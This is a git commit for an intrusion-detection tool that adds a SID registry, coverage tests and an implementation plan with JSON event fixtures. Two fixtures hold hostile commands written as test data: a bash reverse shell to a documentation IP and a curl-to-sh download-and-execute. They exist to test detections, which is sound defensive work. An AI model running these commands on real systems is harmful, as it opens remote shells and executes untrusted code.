Add enrichment and SID coverage gates

2026-07-08 17:05:17 -07:00 · 2026-07-08 17:05:17 -07:00 · 66472134d8
commit 66472134d8
parent 93ac47dd82
32 changed files with 1623 additions and 31 deletions
--- a/docs/superpowers/plans/2026-07-04-sid-drill-coverage.md
+++ b/docs/superpowers/plans/2026-07-04-sid-drill-coverage.md
@ -0,0 +1,384 @@
+# SID Drill Coverage Implementation Plan
+
+> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
+
+**Goal:** Every built-in SID has a fixture or drill that provably emits it, enforced by an emission-based coverage gate that fails CI when a new detection lands without one.
+
+**Architecture:** A new `enodia_sentinel/sids.py` registry aggregates all 52 built-in SIDs (importing existing constants; inline detector SIDs are tabulated with a sanity test cross-checking the engines). Event-rule SIDs get JSON fixtures under `tests/fixtures/sids/` replayable via `rules test`; all other engines get per-SID drill callables in `tests/sid_drills.py` that invoke the real engine code against fakes. `tests/test_sid_coverage.py` runs everything and asserts emitted sids == registry, both directions.
+
+**Tech Stack:** Python 3.11+ stdlib, `unittest`, existing fake styles (FakeProc/SystemState injection, rootcheck view monkeypatching, temp dirs).
+
+## Global Constraints
+
+- Core `enodia_sentinel` runtime dependencies stay `[]`; no new deps anywhere.
+- All new files start with `# SPDX-License-Identifier: GPL-3.0-or-later`.
+- Tests are stdlib `unittest`, run via `python3 -m unittest tests.test_<name> -v`.
+- No live `/proc`, `/sys`, `ss`, root, or network in drills; everything injected or temp-dir based. (Sole exception: the hidden-process rootcheck drill uses `os.getpid()` so run()'s `os.kill(pid, 0)` re-verification succeeds.)
+- Do not renumber or move any existing SID constant.
+- No new config keys.
+- Work happens in an isolated git worktree; the main checkout has a concurrent session's uncommitted edits (do not touch them).
+- Run the full suite (`python3 -m unittest discover -s tests`) before each commit.
+
+## The 52 built-in SIDs
+
+exec rules 100001–100004 · detectors 100010–100016, 100032, 100033, 100036, 100039, 100048 · fim 100017–100020 · pkgdb 100021, 100026, 100027 · rootcheck 100022–100025, 100028–100031, 100034, 100035, 100037, 100038 · posture 100040–100047, 100050, 100051 · syscall rules 100060–100066
+
+---
+
+### Task 1: SID registry (`enodia_sentinel/sids.py`)
+
+**Files:**
+- Create: `enodia_sentinel/sids.py`
+- Test: `tests/test_sids.py`
+
+**Interfaces:**
+- Produces: `SidInfo` (frozen dataclass: `sid: int`, `name: str`, `engine: str`, `module: str`), `BUILTIN_SIDS: tuple[SidInfo, ...]`, `all_sids() -> frozenset[int]`, `engine_sids(engine: str) -> frozenset[int]`. Engines: `"exec_rule" | "syscall_rule" | "detector" | "fim" | "pkgdb" | "rootcheck" | "posture"`.
+
+- [x] **Step 1: Write the failing test**
+
+```python
+# tests/test_sids.py
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""The SID registry is unique, complete, and matches the engine sources."""
+import unittest
+
+from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
+from enodia_sentinel.detectors import (
+    credential_access, input_snooper, memory_obfuscation, stealth_network,
+)
+from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
+from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
+
+
+class TestRegistry(unittest.TestCase):
+    def test_sids_are_unique(self):
+        nums = [s.sid for s in sids.BUILTIN_SIDS]
+        self.assertEqual(len(nums), len(set(nums)))
+
+    def test_count_and_helpers(self):
+        self.assertEqual(len(sids.BUILTIN_SIDS), 52)
+        self.assertEqual(sids.all_sids(),
+                         frozenset(s.sid for s in sids.BUILTIN_SIDS))
+        self.assertEqual(sids.engine_sids("exec_rule"),
+                         frozenset({100001, 100002, 100003, 100004}))
+
+    def test_event_rule_sids_match_engines(self):
+        self.assertEqual(sids.engine_sids("exec_rule"),
+                         frozenset(r.sid for r in DEFAULT_EXEC_RULES))
+        self.assertEqual(sids.engine_sids("syscall_rule"),
+                         frozenset(r.sid for r in DEFAULT_SYSCALL_RULES))
+
+    def test_registry_uses_the_source_constants(self):
+        by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
+        for const, engine in (
+            (fim.SID_MODIFIED, "fim"),
+            (pkgdb.SID_PKGDB, "pkgdb"),
+            (rootcheck.SID_HIDDEN_PROC, "rootcheck"),
+            (posture.SID_SSH_ROOT_LOGIN, "posture"),
+            (input_snooper.SID_INPUT_SNOOPER, "detector"),
+            (credential_access.SID_CREDENTIAL_ACCESS, "detector"),
+            (stealth_network.SID_STEALTH_NETWORK, "detector"),
+            (memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
+        ):
+            self.assertIn(const, by_sid)
+            self.assertEqual(by_sid[const].engine, engine)
+
+    def test_every_entry_has_name_and_module(self):
+        for s in sids.BUILTIN_SIDS:
+            self.assertTrue(s.name)
+            self.assertTrue(s.module.startswith("enodia_sentinel"))
+```
+
+- [x] **Step 2: Run test to verify it fails**
+
+Run: `python3 -m unittest tests.test_sids -v`
+Expected: FAIL — missing `tests.test_sids` / `enodia_sentinel.sids`.
+
+- [x] **Step 3: Implement `sids.py`**
+
+```python
+# enodia_sentinel/sids.py
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Canonical registry of every built-in SID.
+
+Aggregates the constants where they are defined (nothing is renumbered or
+moved). The seven core poll detectors carry their sid inline in the Alert
+they build, so those rows are tabulated here and cross-checked by
+tests/test_sids.py and the emission gate in tests/test_sid_coverage.py.
+"""
+from __future__ import annotations
+
+from dataclasses import dataclass
+
+from . import fim, pkgdb, posture, rootcheck
+from .detectors import (
+    credential_access, input_snooper, memory_obfuscation, stealth_network,
+)
+from .events.rules import DEFAULT_EXEC_RULES
+from .events.syscall_rules import DEFAULT_SYSCALL_RULES
+
+
+@dataclass(frozen=True)
+class SidInfo:
+    sid: int
+    name: str
+    engine: str   # exec_rule|syscall_rule|detector|fim|pkgdb|rootcheck|posture
+    module: str
+
+
+def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]:
+    return tuple(
+        SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module)
+        for r in rules
+    )
+
+
+_DETECTORS = "enodia_sentinel.detectors"
+
+BUILTIN_SIDS: tuple[SidInfo, ...] = (
+    *_rule_rows(DEFAULT_EXEC_RULES, "exec_rule",
+                "enodia_sentinel.events.rules"),
+    *_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule",
+                "enodia_sentinel.events.syscall_rules"),
+    # Core poll detectors (sids inline in each module's Alert).
+    SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"),
+    SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"),
+    SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"),
+    SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"),
+    SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"),
+    SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"),
+    SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"),
+    SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector",
+            f"{_DETECTORS}.input_snooper"),
+    SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access",
+            "detector", f"{_DETECTORS}.credential_access"),
+    SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network",
+            "detector", f"{_DETECTORS}.stealth_network"),
+    SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation",
+            "detector", f"{_DETECTORS}.memory_obfuscation"),
+    SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY,
+            "process_hiding_library", "detector",
+            f"{_DETECTORS}.memory_obfuscation"),
+    # File & package integrity.
+    SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"),
+    SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"),
+    SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"),
+    SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"),
+    SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"),
+    SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb",
+            "enodia_sentinel.pkgdb"),
+    SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb",
+            "enodia_sentinel.pkgdb"),
+    # Rootcheck.
+    SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module",
+            "rootcheck", "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module",
+            "rootcheck", "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port",
+            "rootcheck", "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket",
+            "rootcheck", "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET,
+            "rootkit_hidden_protocol_socket", "rootcheck",
+            "enodia_sentinel.rootcheck"),
+    SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process",
+            "rootcheck", "enodia_sentinel.rootcheck"),
+    # Posture.
+    SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture",
+            "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable",
+            "posture", "enodia_sentinel.posture"),
+    SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture",
+            "enodia_sentinel.posture"),
+)
+
+
+def all_sids() -> frozenset[int]:
+    return frozenset(s.sid for s in BUILTIN_SIDS)
+
+
+def engine_sids(engine: str) -> frozenset[int]:
+    return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine)
+```
+
+- [x] **Step 4: Run the test to verify it passes**
+
+Run: `python3 -m unittest tests.test_sids -v`
+Expected: PASS (5 tests).
+
+- [x] **Step 5: Full suite**
+
+Run: `python3 -m unittest discover -s tests` — all pass.
+
+---
+
+### Task 2: Event fixtures + fixture replay test
+
+**Files:**
+- Create: `tests/fixtures/sids/100001-tmp-exec.json` … `100066-mlock.json` (11 files)
+- Create: `tests/test_sid_coverage.py` (fixture-replay half; the total gate lands in Task 7)
+
+**Interfaces:**
+- Consumes: `ruleops.test_event(cfg, event) -> list[Alert]`, `sids.engine_sids()`.
+- Produces: `tests/fixtures/sids/` naming convention `<sid>-<slug>.json`; helper `fixture_sids() -> dict[int, set[int]]` in `tests/test_sid_coverage.py` mapping each fixture's declared sid to the sids its replay emitted. Task 7 reuses it.
+
+- [x] **Step 1: Write the failing test**
+
+```python
+# tests/test_sid_coverage.py
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Emission-based coverage: every built-in SID has a fixture or drill.
+
+Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
+(replayable by operators via `enodia-sentinel rules test <file>`); the other
+engines are covered by drills in tests/sid_drills.py. This module replays
+and runs all of them for real and asserts the emitted sids match the
+registry in enodia_sentinel.sids.
+"""
+import json
+import unittest
+from pathlib import Path
+
+from enodia_sentinel import ruleops, sids
+from enodia_sentinel.config import Config
+
+FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
+
+
+def fixture_sids() -> dict[int, set[int]]:
+    """Replay every fixture; map declared sid -> sids actually emitted."""
+    out: dict[int, set[int]] = {}
+    for path in sorted(FIXTURE_DIR.glob("*.json")):
+        declared = int(path.name.split("-", 1)[0])
+        event = json.loads(path.read_text())
+        alerts = ruleops.test_event(Config(), event)
+        out[declared] = {a.sid for a in alerts}
+    return out
+
+
+class TestEventFixtures(unittest.TestCase):
+    def test_every_event_rule_sid_has_an_emitting_fixture(self):
+        covered = fixture_sids()
+        wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
+        for sid in sorted(wanted):
+            self.assertIn(sid, covered,
+                          f"no fixture file for sid {sid} in {FIXTURE_DIR}")
+            self.assertIn(sid, covered[sid],
+                          f"fixture for sid {sid} did not emit it")
+
+    def test_fixtures_emit_only_registered_sids(self):
+        registry = sids.all_sids()
+        for declared, emitted in fixture_sids().items():
+            self.assertLessEqual(emitted, registry,
+                                 f"fixture {declared} emitted unregistered sids")
+```
+
+- [x] **Step 2: Run test to verify it fails**
+
+Run: `python3 -m unittest tests.test_sid_coverage -v`
+Expected: FAIL — no fixture for sid 100001 (empty/missing dir).
+
+- [x] **Step 3: Create the 11 fixtures**
+
+`tests/fixtures/sids/100001-tmp-exec.json` — exec from world-writable dir:
+```json
+{"event": "exec", "pid": 4242, "ppid": 4100, "uid": 1000,
+ "parent_comm": "bash", "filename": "/tmp/.payload",
+ "argv": []}
+```
+
+`tests/fixtures/sids/100002-reverse-shell-argv.json`:
+```json
+{"event": "exec", "pid": 4243, "ppid": 4100, "uid": 1000,
+ "parent_comm": "sshd", "filename": "/usr/bin/bash",
+ "argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]}
+```
+
+`tests/fixtures/sids/100003-web-shell-spawn.json`:
+```json
+{"event": "exec", "pid": 4244, "ppid": 812, "uid": 33,
+ "parent_comm": "nginx", "filename": "/usr/bin/sh",
+ "argv": ["-c", "id"]}
+```
+
+`tests/fixtures/sids/100004-curl-pipe-sh.json`:
+```json
+{"event": "exec", "pid": 4245, "ppid": 4100, "uid": 1000,
+ "parent_comm": "bash", "filename": "/usr/bin/curl",
+ "argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]}
+```
+
+`tests/fixtures/sids/100060-mprotect-rwx.json` (PROT_READ|WRITE|EXEC = 7):
+```json
+{"event": "syscall", "pid": 4250, "ppid": 4100, "uid": 1000,
+ "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]}
+```
+
+`tests/fixtures/sids/100061-mmap-rwx.json`:
+```json
+{"event": "syscall", "pid": 4251, "ppid": 4100, "uid": 1000,
+ "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]}
+```
+
+Created and verified:
+
+- `tests/fixtures/sids/100001-tmp-exec.json`
+- `tests/fixtures/sids/100002-reverse-shell-argv.json`
+- `tests/fixtures/sids/100003-web-shell-spawn.json`
+- `tests/fixtures/sids/100004-curl-pipe-sh.json`
+- `tests/fixtures/sids/100060-mprotect-rwx.json`
+- `tests/fixtures/sids/100061-mmap-rwx.json`
+- `tests/fixtures/sids/100062-memfd-create.json`
+- `tests/fixtures/sids/100063-ptrace-attach.json`
+- `tests/fixtures/sids/100064-seccomp.json`
+- `tests/fixtures/sids/100065-process-vm-readv.json`
+- `tests/fixtures/sids/100066-mlock.json`
+
+Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (2 tests).
+
+Run: `python3 -m unittest discover -s tests` — PASS (302 tests).
+
+---
+
+### Task 3: Non-event drills + final emission gate
+
+**Files:**
+- Create: `tests/sid_drills.py`
+- Update: `tests/test_sid_coverage.py`
+- Update: `docs/RULES.md`, `docs/ROADMAP.md`
+
+- [x] Add one safe offline drill callable for every non-event built-in SID.
+- [x] Extend `tests.test_sid_coverage` so fixture emissions plus drill emissions
+  equal `enodia_sentinel.sids.all_sids()` exactly.
+- [x] Document fixture replay and drill coverage in `docs/RULES.md`.
+- [x] Mark the SID fixture/drill roadmap item complete.
+
+Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (4 tests).
+
+Run: `python3 -m unittest discover -s tests` — PASS (304 tests).
--- a/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md
+++ b/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md
@ -1,14 +1,14 @@
 # SID Drill Coverage Design

-**Status:** Draft — design agreed in session Q&A, spec not yet user-reviewed.
-No implementation plan written yet.
+**Status:** Implemented — registry, event fixtures, offline drills, and the
+emission-based coverage gate are in the test suite.

 **Goal:** Fixture or drill coverage for every built-in SID, enforced by a
 CI gate that cannot rot: adding a detection without a drill fails the suite.

 ## Context

-Enodia Sentinel has 53 built-in SIDs across six engines:
+Enodia Sentinel has 52 built-in SIDs across seven engines:

 | Range | Engine |
 |---|---|